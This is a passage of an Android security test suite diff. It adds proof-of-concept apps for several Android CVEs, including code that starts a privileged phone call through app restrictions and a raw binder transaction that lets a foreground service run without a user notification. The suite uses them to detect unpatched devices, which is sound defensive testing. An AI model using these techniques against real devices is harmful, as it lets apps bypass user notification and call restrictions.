Notification notification = new Notification.Builder(this, id) + .setSmallIcon(createNotificationIcon()).build(); + startForeground(1, notification); + setResult(getResources().getInteger(R.integer.fail), + getString(R.string.vulnerableMessage)); + notificationManager.deleteNotificationChannelGroup(groupId); + setResult(getResources().getInteger(R.integer.fail), + getString(R.string.vulnerableMessage)); + } catch (SecurityException e) { + setResult(getResources().getInteger(R.integer.pass), + getString(R.string.passMessage)); + } + } + + private void setResult(int result, String message) { + try { + SharedPreferences sh = getSharedPreferences( + getString(R.string.sharedPreference), Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), result); + edit.putString(getString(R.string.messageKey), message); + edit.commit(); + } catch (Exception e) { + // ignore exception + } + } + + Icon createNotificationIcon() { + Resources resources = getResources(); + Bitmap testBitmap = Bitmap.createBitmap( + resources.getInteger(R.integer.width), + resources.getInteger(R.integer.height), + Bitmap.Config.ARGB_8888); + final Canvas canvas = new Canvas(testBitmap); + canvas.drawColor(Color.BLUE); + return Icon.createWithBitmap(testBitmap); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp new file mode 100644 index 00000000000..517619afdab --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39707", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml new file mode 100644 index 00000000000..bfb3943ba87 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml @@ -0,0 +1,38 @@ +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2021_39707"> + <application android:label="@string/testAppLabel"> + <receiver android:name=".PocReceiver" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" /> + </intent-filter> + </receiver> + <activity android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.CALL_PRIVILEGED" /> + <category android:name="android.intent.category.DEFAULT" /> + <data android:scheme="tel" /> + </intent-filter> + </activity> + </application> + <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39707" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml new file mode 100644 index 00000000000..902f48ce1ea --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> + +<resources> + <string name="defaultSettingsPkgName">com.android.settings</string> + <string name="resTestAppIcon">%1$s:id/app_restrictions_settings</string> + <string name="testAppLabel">CVE-2021-39707</string> + <string name="testFailMsg">Device is vulnerable to b/200688991!!</string> + <string name="textAppContentAccess">App & content access</string> + <string name="textRestrictedUser">CVE_2021_39707_RestrictedUser</string> + <string name="timedOutMsg">Timed out waiting for text/res \'%1$s\' on display</string> + <string name="uriData">tel:555-TEST</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java new file mode 100644 index 00000000000..db3acb09a05 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java @@ -0,0 +1,106 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39707; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.provider.Settings; +import android.telecom.TelecomManager; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.UiScrollable; +import androidx.test.uiautomator.UiSelector; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + @Test + public void testAppRestrictionsFragment() { + try { + /* Start the "User Settings" window */ + Intent intent = new Intent(Settings.ACTION_USER_SETTINGS); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); + Context context = getApplicationContext(); + context.startActivity(intent); + String settingsPkgName = + intent.resolveActivity(context.getPackageManager()).getPackageName(); + settingsPkgName = + (settingsPkgName == null) ? context.getString(R.string.defaultSettingsPkgName) + : settingsPkgName; + + /* + * Click on the text "CVE_2021_39707_RestrictedUser", the restricted user that we added + * before + */ + final int uiTimeoutMs = 5000; + String textRestrictedUser = context.getString(R.string.textRestrictedUser); + BySelector selector = By.text(textRestrictedUser); + UiDevice device = UiDevice.getInstance(getInstrumentation()); + assumeTrue(context.getString(R.string.timedOutMsg, textRestrictedUser), + device.wait(Until.hasObject(selector), uiTimeoutMs)); + device.findObject(selector).click(); + + /* Click on the text "App & content access" */ + String textAppContentAccess = context.getString(R.string.textAppContentAccess); + selector = By.text(textAppContentAccess); + assumeTrue(context.getString(R.string.timedOutMsg, textAppContentAccess), + device.wait(Until.hasObject(selector), uiTimeoutMs)); + device.findObject(selector).click(); + + /* + * Click on the icon with resource name + * "com.android.settings:id/app_restrictions_settings" next to the test app + * "CVE-2021-39707" + */ + UiScrollable scrollable = new UiScrollable(new UiSelector()); + String textTestApp = context.getString(R.string.testAppLabel); + scrollable.scrollTextIntoView(textTestApp); + selector = By.text(textTestApp); + assumeTrue(context.getString(R.string.timedOutMsg, textTestApp), + device.wait(Until.hasObject(selector), uiTimeoutMs)); + UiObject2 parent = device.findObject(selector).getParent().getParent().getParent(); + selector = By.res(context.getString(R.string.resTestAppIcon, settingsPkgName)); + parent.findObject(selector).click(); + + /* + * Wait on the UI of the dialer app, test fails if the dialer app appears on the screen + * which indicates vulnerable behaviour + */ + TelecomManager telecomManager = context.getSystemService(TelecomManager.class); + selector = By.pkg(telecomManager.getSystemDialerPackage()); + assertFalse(context.getString(R.string.testFailMsg), + device.wait(Until.hasObject(selector), uiTimeoutMs)); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java new file mode 100644 index 00000000000..92645c498f8 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java @@ -0,0 +1,25 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39707; + +import android.app.Activity; + +// In order to detect the vulnerability, intent with action "android.intent.action.CALL_PRIVILEGED" +// must resolve to more than 1 activity, so PocActivity is defined here with this intent to have at +// least one activity other than the "PrivilegedCallActivity". +public class PocActivity extends Activity { +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java new file mode 100644 index 00000000000..6d4caae068b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java @@ -0,0 +1,41 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39707; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.net.Uri; +import android.os.Bundle; + +public class PocReceiver extends BroadcastReceiver { + + @Override + public void onReceive(Context context, Intent intent) { + try { + Bundle result = new Bundle(); + Intent dialIntent = new Intent(); + dialIntent.setData(Uri.parse(context.getString(R.string.uriData))); + dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED); + result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent); + setResultExtras(result); + } catch (Exception e) { + // ignore all exceptions, in the worst case, any exception caught here indicates that + // setting extra intent was unsuccessful, so test will pass in the worst case. + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp new file mode 100644 index 00000000000..13a86e3b68e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39808", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml new file mode 100644 index 00000000000..0394d6ccb6a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39808"> + <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/> + <application> + <service + android:name=".PocService" + android:exported="true"> + </service> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39808" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml new file mode 100644 index 00000000000..8e7d104c6d2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <integer name="assumptionFailure">4</integer> + <integer name="fail">2</integer> + <integer name="falseVal">-1</integer> + <integer name="height">50</integer> + <integer name="pass">3</integer> + <integer name="setFlag">1</integer> + <integer name="timeoutMs">10000</integer> + <integer name="value">0</integer> + <integer name="width">50</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml new file mode 100644 index 00000000000..f4fb7413e40 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml @@ -0,0 +1,35 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="assumptionFailure">Assumption failure occurred</string> + <string name="errorNoMethodFound">No method found</string> + <string name="errorTargetMethodNotFound">Target method not found</string> + <string name="flag">flag</string> + <string name="functionName">createNotificationChannelGroups</string> + <string name="group">group</string> + <string name="groupId">groupId</string> + <string name="illegalCode">Illegal Code</string> + <string name="messageKey">MESSAGE</string> + <string name="resultKey">RESULT</string> + <string name="message">message</string> + <string name="notification">notification</string> + <string name="passMessage">Passed</string> + <string name="sharedPreference">CVE_2021_39808</string> + <string name="vulnerableMessage"> + Vulnerable to b/209966086!! Foreground service ran without user notification + </string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java new file mode 100644 index 00000000000..a32638dda2c --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java @@ -0,0 +1,82 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39808; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.SharedPreferences.OnSharedPreferenceChangeListener; +import android.content.res.Resources; + +import androidx.test.runner.AndroidJUnit4; + +import java.util.concurrent.Semaphore; +import java.util.concurrent.TimeUnit; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + @Test + public void testService() { + try { + Context context = getApplicationContext(); + Intent intent = new Intent(context, PocService.class); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + context.startService(intent); + SharedPreferences sh = context.getSharedPreferences( + context.getString(R.string.sharedPreference), + Context.MODE_APPEND); + final Semaphore preferenceChanged = new Semaphore(0); + OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() { + @Override + public void onSharedPreferenceChanged( + SharedPreferences sharedPreferences, String key) { + if (key.equals(context.getString(R.string.resultKey))) { + if (sharedPreferences.getInt(key, 0) == context + .getResources().getInteger(R.integer.pass)) { + preferenceChanged.release(); + } + } + } + }; + sh.registerOnSharedPreferenceChangeListener(listener); + + preferenceChanged.tryAcquire( + context.getResources().getInteger(R.integer.timeoutMs), + TimeUnit.MILLISECONDS); + + int result = sh.getInt(context.getString(R.string.resultKey), + context.getResources().getInteger(R.integer.pass)); + String message = sh.getString(context.getString(R.string.messageKey), + context.getString(R.string.passMessage)); + assumeTrue(message, result != context.getResources() + .getInteger(R.integer.assumptionFailure)); + assertNotEquals(message, result, + context.getResources().getInteger(R.integer.fail)); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java new file mode 100644 index 00000000000..73b0df4adfb --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java @@ -0,0 +1,137 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39808; + +import android.app.INotificationManager; +import android.app.NotificationChannelGroup; +import android.app.NotificationManager; +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.os.IBinder; +import android.os.Parcel; +import android.os.ServiceManager; +import android.text.TextUtils; + +import java.lang.reflect.Method; + +public class PocService extends Service { + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public void onCreate() { + try { + super.onCreate(); + setResult(getResources().getInteger(R.integer.fail), + getResources().getString(R.string.vulnerableMessage)); + createNotificationGroup(); + } catch (Exception e) { + setResult(getResources().getInteger(R.integer.assumptionFailure), + e.getMessage()); + } + } + + void createNotificationGroup() throws Exception { + IBinder binder = ServiceManager + .getService(getResources().getString(R.string.notification)); + int serviceId = getTransactionCode( + getResources().getString(R.string.functionName)); + if (serviceId == -1) { + setResult(getResources().getInteger(R.integer.assumptionFailure), + getString(R.string.errorNoMethodFound)); + return; + } else if (serviceId == -2) { + setResult(getResources().getInteger(R.integer.assumptionFailure), + getString(R.string.errorTargetMethodNotFound)); + return; + } + createNotificationGroup(binder, serviceId); + NotificationManager notificationManager = (NotificationManager) getSystemService( + NOTIFICATION_SERVICE); + NotificationChannelGroup notificationChannelGroup = notificationManager + .getNotificationChannelGroup( + getResources().getString(R.string.groupId)); + if (!notificationChannelGroup.isBlocked()) { + setResult(getResources().getInteger(R.integer.pass), + getResources().getString(R.string.passMessage)); + } + } + + int getTransactionCode(String methodName) { + int txCode = IBinder.FIRST_CALL_TRANSACTION; + String txName = INotificationManager.Stub + .getDefaultTransactionName(txCode); + if (txName == null) { + return -1; + } + while (txName != null && txCode <= IBinder.LAST_CALL_TRANSACTION) { + txName = INotificationManager.Stub + .getDefaultTransactionName(++txCode); + if (txName.equals(methodName)) { + break; + } + } + if (txName == null) { + return -2; + } + return txCode; + } + + void createNotificationGroup(IBinder binder, int code) throws Exception { + String description = binder.getInterfaceDescriptor(); + Parcel data = Parcel.obtain(); + Parcel reply = Parcel.obtain(); + data.writeInterfaceToken(description); + data.writeString(this.getPackageName()); + data.writeInt(getResources().getInteger(R.integer.setFlag)); + data.writeInt(getResources().getInteger(R.integer.setFlag)); + data.writeString(NotificationChannelGroup.class.getName()); + data.writeInt(getResources().getInteger(R.integer.setFlag)); + data.writeByte((byte) getResources().getInteger(R.integer.setFlag)); + data.writeString(getResources().getString(R.string.groupId)); + TextUtils.writeToParcel(getResources().getString(R.string.group), data, + getResources().getInteger(R.integer.setFlag)); + data.writeByte((byte) getResources().getInteger(R.integer.value)); + data.writeInt(getResources().getInteger(R.integer.falseVal)); + data.writeInt(getResources().getInteger(R.integer.setFlag)); + boolean val = (boolean) binder.transact(code, data, reply, + getResources().getInteger(R.integer.value)); + if (!val) { + setResult(getResources().getInteger(R.integer.assumptionFailure), + getResources().getString(R.string.illegalCode)); + } + reply.readException(); + } + + private void setResult(int result, String message) { + try { + SharedPreferences sh = getSharedPreferences( + getString(R.string.sharedPreference), Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), result); + edit.putString(getString(R.string.messageKey), message); + edit.commit(); + } catch (Exception e) { + // ignore exception + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml index 9f7ac842f5b..731eac43717 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml @@ -23,7 +23,7 @@ android:label="CVE-2022-20007-Attacker" android:supportsRtl="true"> <activity - android:name=".PocActivity" + android:name=".PocAttackerActivity" android:exported="true" android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen"> </activity> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java index ad87ea7434f..988517e8670 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java @@ -20,7 +20,7 @@ import android.app.Activity; import android.os.Bundle; import android.view.WindowManager; -public class PocActivity extends Activity { +public class PocAttackerActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp new file mode 100644 index 00000000000..98d59623a28 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2022-20007-Second", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml new file mode 100644 index 00000000000..7880b0f0669 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml @@ -0,0 +1,32 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2022_20007_second" + android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid" + android:versionCode="1" + android:versionName="1.0"> + <application + android:label="CVE-2022-20007-Second" + android:process="android.security.cts.CVE_2022_20007" + android:supportsRtl="true"> + <activity + android:name=".SecondPocActivity" + android:exported="true"> + </activity> + </application> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml new file mode 100644 index 00000000000..d327e30f622 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml @@ -0,0 +1,25 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:layout_width="match_parent" + android:layout_height="match_parent"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml new file mode 100644 index 00000000000..e112bcd4ab2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml @@ -0,0 +1,21 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <integer name="fail">1</integer> + <integer name="pass">0</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml new file mode 100644 index 00000000000..c20d81ccfa0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string 